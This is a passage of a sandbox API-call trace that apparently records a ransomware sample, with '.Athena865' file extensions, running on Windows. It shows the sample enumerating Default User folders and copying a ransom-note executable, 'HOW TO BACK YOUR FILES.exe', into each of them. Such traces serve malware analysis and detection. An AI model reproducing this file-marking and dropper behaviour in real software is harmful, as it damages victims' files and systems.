[0054.169] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.169] lstrlenW (lpString="Athena865") returned 9 [0054.169] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.169] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7c48360, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms.Athena865", cAlternateFileName="EVERYW~1.ATH")) returned 1 [0054.169] lstrcmpiW (lpString1="Everywhere.search-ms.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.169] lstrcmpiW (lpString1="Everywhere.search-ms.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.169] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Everywhere.search-ms.Athena865" | out: lpString1="Everywhere.search-ms.Athena865") returned="Everywhere.search-ms.Athena865" [0054.169] lstrlenW (lpString="Everywhere.search-ms.Athena865") returned 30 [0054.169] lstrlenW (lpString="Athena865") returned 9 [0054.169] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.169] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.169] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.169] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7c6e4c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms.Athena865", cAlternateFileName="INDEXE~1.ATH")) returned 1 [0054.169] lstrcmpiW (lpString1="Indexed Locations.search-ms.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.169] lstrcmpiW (lpString1="Indexed Locations.search-ms.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.169] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Indexed Locations.search-ms.Athena865" | out: lpString1="Indexed Locations.search-ms.Athena865") returned="Indexed Locations.search-ms.Athena865" [0054.169] lstrlenW (lpString="Indexed Locations.search-ms.Athena865") returned 37 [0054.170] lstrlenW (lpString="Athena865") returned 9 [0054.170] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.170] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7c6e4c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms.Athena865", cAlternateFileName="INDEXE~1.ATH")) returned 0 [0054.170] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.170] ReleaseMutex (hMutex=0xec) returned 1 [0054.170] CloseHandle (hObject=0xec) returned 1 [0054.170] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\SendTo" | out: lpString1="C:\\Documents and Settings\\Default User\\SendTo") returned="C:\\Documents and Settings\\Default User\\SendTo" [0054.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b878 | out: hHeap=0x4f0000) returned 1 [0054.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce88 | out: hHeap=0x4f0000) returned 1 [0054.170] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\SendTo") returned 45 [0054.170] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\262B208CDAE6A4F69E2352DCCC759BDF") returned 0xec [0054.170] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.170] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\SendTo" | out: lpString1="C:\\Documents and Settings\\Default User\\SendTo") returned="C:\\Documents and Settings\\Default User\\SendTo" [0054.170] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.170] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.171] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\sendto\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.171] GetLastError () returned 0x0 [0054.171] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.171] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.171] CloseHandle (hObject=0xf4) returned 1 [0054.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.171] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.171] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\SendTo\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d06a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d06a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.171] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.171] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.171] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Compressed (zipped) Folder.ZFSendToTarget.Athena865" | out: lpString1="Compressed (zipped) Folder.ZFSendToTarget.Athena865") returned="Compressed (zipped) Folder.ZFSendToTarget.Athena865" [0054.171] lstrlenW (lpString="Compressed (zipped) Folder.ZFSendToTarget.Athena865") returned 51 [0054.171] lstrlenW (lpString="Athena865") returned 9 [0054.171] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.171] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c45a701, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7cba780, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x310, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop (create shortcut).DeskLink.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0054.171] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.171] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.172] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Desktop (create shortcut).DeskLink.Athena865" | out: lpString1="Desktop (create shortcut).DeskLink.Athena865") returned="Desktop (create shortcut).DeskLink.Athena865" [0054.172] lstrlenW (lpString="Desktop (create shortcut).DeskLink.Athena865") returned 44 [0054.172] lstrlenW (lpString="Athena865") returned 9 [0054.172] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.172] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xec18bec6, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7ce08e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.ini.Athena865", cAlternateFileName="DESKTO~2.ATH")) returned 1 [0054.172] lstrcmpiW (lpString1="Desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.172] lstrcmpiW (lpString1="Desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.172] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Desktop.ini.Athena865" | out: lpString1="Desktop.ini.Athena865") returned="Desktop.ini.Athena865" [0054.172] lstrlenW (lpString="Desktop.ini.Athena865") returned 21 [0054.172] lstrlenW (lpString="Athena865") returned 9 [0054.172] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.172] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63dece0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents.mydocs.Athena865", cAlternateFileName="DOCUME~1.ATH")) returned 1 [0054.172] lstrcmpiW (lpString1="Documents.mydocs.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.172] lstrcmpiW (lpString1="Documents.mydocs.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.172] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Documents.mydocs.Athena865" | out: lpString1="Documents.mydocs.Athena865") returned="Documents.mydocs.Athena865" [0054.172] lstrlenW (lpString="Documents.mydocs.Athena865") returned 26 [0054.172] lstrlenW (lpString="Athena865") returned 9 [0054.172] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.172] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d802e42, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7d06a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fax Recipient.lnk.Athena865", cAlternateFileName="FAXREC~1.ATH")) returned 1 [0054.172] lstrcmpiW (lpString1="Fax Recipient.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.172] lstrcmpiW (lpString1="Fax Recipient.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.172] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Fax Recipient.lnk.Athena865" | out: lpString1="Fax Recipient.lnk.Athena865") returned="Fax Recipient.lnk.Athena865" [0054.172] lstrlenW (lpString="Fax Recipient.lnk.Athena865") returned 27 [0054.172] lstrlenW (lpString="Athena865") returned 9 [0054.172] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.172] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.172] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.172] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c48085e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7d06a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x310, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail.Athena865", cAlternateFileName="MAILRE~1.ATH")) returned 1 [0054.172] lstrcmpiW (lpString1="Mail Recipient.MAPIMail.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.172] lstrcmpiW (lpString1="Mail Recipient.MAPIMail.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.172] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Mail Recipient.MAPIMail.Athena865" | out: lpString1="Mail Recipient.MAPIMail.Athena865") returned="Mail Recipient.MAPIMail.Athena865" [0054.173] lstrlenW (lpString="Mail Recipient.MAPIMail.Athena865") returned 33 [0054.173] lstrlenW (lpString="Athena865") returned 9 [0054.173] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.173] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c48085e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7d06a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x310, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail.Athena865", cAlternateFileName="MAILRE~1.ATH")) returned 0 [0054.173] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.173] ReleaseMutex (hMutex=0xec) returned 1 [0054.173] CloseHandle (hObject=0xec) returned 1 [0054.173] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Start Menu" | out: lpString1="C:\\Documents and Settings\\Default User\\Start Menu") returned="C:\\Documents and Settings\\Default User\\Start Menu" [0054.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e270 | out: hHeap=0x4f0000) returned 1 [0054.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cea0 | out: hHeap=0x4f0000) returned 1 [0054.173] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Start Menu") returned 49 [0054.173] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2724D5D1040AE9690DCD10DF39A2F1BB") returned 0xec [0054.173] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.173] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Start Menu" | out: lpString1="C:\\Documents and Settings\\Default User\\Start Menu") returned="C:\\Documents and Settings\\Default User\\Start Menu" [0054.173] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.173] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.174] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\start menu\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.174] GetLastError () returned 0x0 [0054.174] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.174] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.174] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Start Menu\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d2cba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d2cba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.174] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.174] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.175] lstrcpyW (in: lpString1=0x241e8ac, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.175] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.175] lstrlenW (lpString="Athena865") returned 9 [0054.175] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.175] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.175] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.175] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d52d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d52d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0054.175] lstrcmpiW (lpString1="Programs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.175] lstrcmpiW (lpString1="Programs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.175] lstrcpyW (in: lpString1=0x241e8ac, lpString2="Programs" | out: lpString1="Programs") returned="Programs" [0054.175] lstrcatW (in: lpString1="Programs", lpString2="\\" | out: lpString1="Programs\\") returned="Programs\\" [0054.175] lstrcatW (in: lpString1="Programs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Programs\\HOW TO BACK YOUR FILES.exe") returned="Programs\\HOW TO BACK YOUR FILES.exe" [0054.175] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.175] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d52d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d52d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0054.175] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.176] ReleaseMutex (hMutex=0xec) returned 1 [0054.176] CloseHandle (hObject=0xec) returned 1 [0054.176] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Templates" | out: lpString1="C:\\Documents and Settings\\Default User\\Templates") returned="C:\\Documents and Settings\\Default User\\Templates" [0054.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e2e0 | out: hHeap=0x4f0000) returned 1 [0054.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ceb8 | out: hHeap=0x4f0000) returned 1 [0054.176] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Templates") returned 48 [0054.176] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3A53D73F994A253B8B51E233A73454DB") returned 0xec [0054.176] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.176] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Templates" | out: lpString1="C:\\Documents and Settings\\Default User\\Templates") returned="C:\\Documents and Settings\\Default User\\Templates" [0054.176] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.176] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.176] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.177] GetLastError () returned 0x0 [0054.177] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.177] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.177] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.177] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.177] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.177] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Videos" | out: lpString1="C:\\Documents and Settings\\Default User\\Videos") returned="C:\\Documents and Settings\\Default User\\Videos" [0054.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b8e0 | out: hHeap=0x4f0000) returned 1 [0054.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ced0 | out: hHeap=0x4f0000) returned 1 [0054.177] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Videos") returned 45 [0054.177] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1662D9775DC92D14CE2A22D82FB19400") returned 0xec [0054.177] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.177] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Videos" | out: lpString1="C:\\Documents and Settings\\Default User\\Videos") returned="C:\\Documents and Settings\\Default User\\Videos" [0054.177] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.177] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.178] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.178] GetLastError () returned 0x0 [0054.178] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.178] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.178] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d78e60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d78e60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", 